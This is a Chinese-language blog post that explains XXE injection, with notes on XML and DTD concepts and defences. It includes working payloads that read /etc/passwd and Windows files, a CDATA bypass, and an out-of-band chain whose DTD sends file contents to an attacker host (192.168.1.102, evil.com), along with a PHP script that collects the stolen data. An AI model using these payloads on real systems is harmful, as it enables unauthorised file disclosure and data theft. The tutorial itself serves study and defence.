XML External Entity injection(XXE) Summary

XXE 漏洞

参考:

Payload

有回显的 XXE

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY resek4 SYSTEM "file:///etc/passwd">
]>
<login>&resek4;</login>

案例

CDATA 特殊字符绕过

像最前面的那个例子,可以直接通过 xxe 来爆信息,但是如果信息有例如<>这种的特殊字符,如果直接输出,显然会被解析器解析执行了

所以,当我们遇到要绕过特殊字符将内容回显出来时,我们可以利用 CDATA 来直接输出不被解析原字符串

语法:

1
2
3
4
5
<![CDATA[

XXXXXXXXXXXXXXXXX

]]>

但是如果我们单纯的通过一般实体调用,去将 payload 更改为

1
2
3
4
<!ENTITY start "<![CDATA[">
<!ENTITY goodies "file:///d:/1.txt">
<!ENTITY end "]]>"> ]>
<creds>&start;&goodies;&end;</creds>

这样子单纯拼接的话,是会报错的,因为偶我们不能在[[xml]]中直接拼接

但是,我们可以在 DTD 中去拼接,然后通过参数实体调用就好了

payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

无回显,使用带外数据协议 OOB

  • 带外可以先用**[[DNSlog]]链接** 进行先行测试,来验证目标可以正常访问我们 VPS 的内容

攻击逻辑为:
1、客户端发送 payload1 给服务器
2、服务器因 remote 实体向 VPS 获取恶意 DTD 文件,
3、XML 文件的左右就是调用 payload1 里的 file:///,并组合成一个 send 链接
4、payload1 里最后,send 发送

payload1:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag[
<!ENTITY % remote SYSTEM "http://192.168.1.102/test.dtd">
%remote;
%int;
%send;
]>

payload2:在攻击机的 web 服务器上托管一个 test.dtd 文件,内容为

1
2
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.1.102/hacker.php?cookie=%file;'>">

或者在这里链接不写这个,而写 http://evil.com:8001/?p=%file; 这个参数随意,传入的文件也没有,但是可以将数据流传入 VPS 的 8001 端口(或者不加就是默认 80),而在 VPS 端我们可以使用[[NC]]或者[[tcpdump]]来抓取数据

hacker.php 可以这样写

1
2
3
4
<?php
$cookie=$_REQUEST['cookie'];
file_put_contents('cookie.txt', $cookie);
?>

防御

  • libxml2.9.0 以后,默认不解析外部实体,导致 XXE 漏洞逐渐消亡

使用开发语言提供的禁用外部实体的方法

1
2
//PHP    
libxml_disable_entity_loader(true);

过滤用户提交的 XML 数据
关键词:<!DOCTYPE<!ENTITYSYSTEMPUBLIC

概念

关于 XML 可参考[[XML]]

实体引用

当标签为 <data>1<2</data> 时,小于号会导致 XML 报错,所以要使用实体引用:<data>1&lt;2</data>
实体引用表格如下:

实体 符号
< <
> >
& &

而如果在标签中嵌入非系统预期的符号而导致中断,就可能会引起 XXE 注入

XXE

XXE 漏洞全称 XML External Entity Injection 即 XML 外部实体注入

后端代码

1
2
3
4
5
6
7
8
9
<?php
$xmlfile=file_get_contents('php://input');//获取客户端输入内容
$dom=new DOMDocument();//初始化XML解析器
$dom->loadXML($xmlfile);//加载客户端输入的XML内容
$xml=simplexml_import_dom($dom);//获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;//获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容。
?>

payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY evil SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&evil;</xxe>
</xml>
  • 相当于是因为仗着后端 php 代码可以接收 XML,而未曾禁用传进来 XML 里 DTD 声明中的实体定义,导致我们可以在实体定义中写恶意操作(读文件等),然后传进去的 XML 写个调用恶意操作的实体引用&evil 就完成了。

DTD 在 XML 中定义

DTD 像是类定义,XML 中的某一个标签集合(或者一个小标签)都会遵循这个类中所规定的规则(元素数量、内容的类型等)但是这个类声明时候就已经表名要给谁用了(写的是根元素名称,如下面的 address),但是实际调用是如果不牵扯多级元素,根元素名称似乎可以随便写

!DOCTYPE 的出现意味着要开始进行 DTD 的声明

DTD 的正常格式是
<!类型 元素名称 元素属性 元素内容>,而直接在 XML 中的 DTD 声明可以省略掉属性部分,例如下例:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE address [
<!ELEMENT address (name,company,phone)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT company (#PCDATA)>
<!ELEMENT phone (#PCDATA)>
]>
<address>
<name>Tanmay Patil</name>
<company>TutorialsPoint</company>
<phone>(011) 123-4567</phone>
</address>

在 XML 中外部引用 DTD

而如果要引用外部 DTD 文件,则 DTD 文件中可以直接写

1
2
3
4
5
1.dtd
<!ELEMENT address (name,company,phone)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT company (#PCDATA)>
<!ELEMENT phone (#PCDATA)>

然后在 XML 中,头部声明完成后紧跟 DTD 声明

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE address SYSTEM "1.dtd">
<address>
<name>Tanmay Patil</name>
<company>TutorialsPoint</company>
<phone>(011) 123-4567</phone>
</address>
  • 当引用的 DTD 文件是本地文件的时候,用 SYSTEM 标识,并写上”DTD 的文件路径”,如下:
1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  • 如果引用的 DTD 文件是一个公共的文件时,采用 PUBLIC 标识
1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

DTD 实体

  • 一般元素内容是 ELEMENT
1
2
<!ELEMENT name (#PCDATA)>  #PCDATA表示此元素可以接收文本文件 
<!ELEMENT name ANY> ANY表示可以接收任意类型文件

而 ENTITY 实体 是包含外部文件时用的,两者可以在 DTD 中出现,更理所应当能在 XML 中出现

ENTITY 实体从引用位置分为两类:

  • 内部实体

即在 XML 中头部那块直接定义实体内容与名称,后续直接使用

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
  • 外部实体

类似于引用外部的 DTD 文件,且那个外部 DTD 文件里边还包含了引入的外部资源 引用外部实体时可以使用 PHP 伪协议

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

ENTITY 实体从引用方式分为两类:

  • 引用实体,主要在 XML 文档中被应用,格式:
1
2
<!ENTITY 实体名称 "实体内容">
引用方式:&实体名称;末尾要带上分号,这个引用将直接转变成实体内容,如上例
  • 参数实体,被 DTD 文件自身使用 ,格式:
1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % 实体名称 "实体内容">
引用方式为:%实体名称

%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的,例如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

XML External Entity injection(XXE) Summary

https://resek4.github.io/2021/01/11/XXE/

Author

Resek4

Posted on

2021-01-11

Updated on

2023-01-27

Licensed under

Comments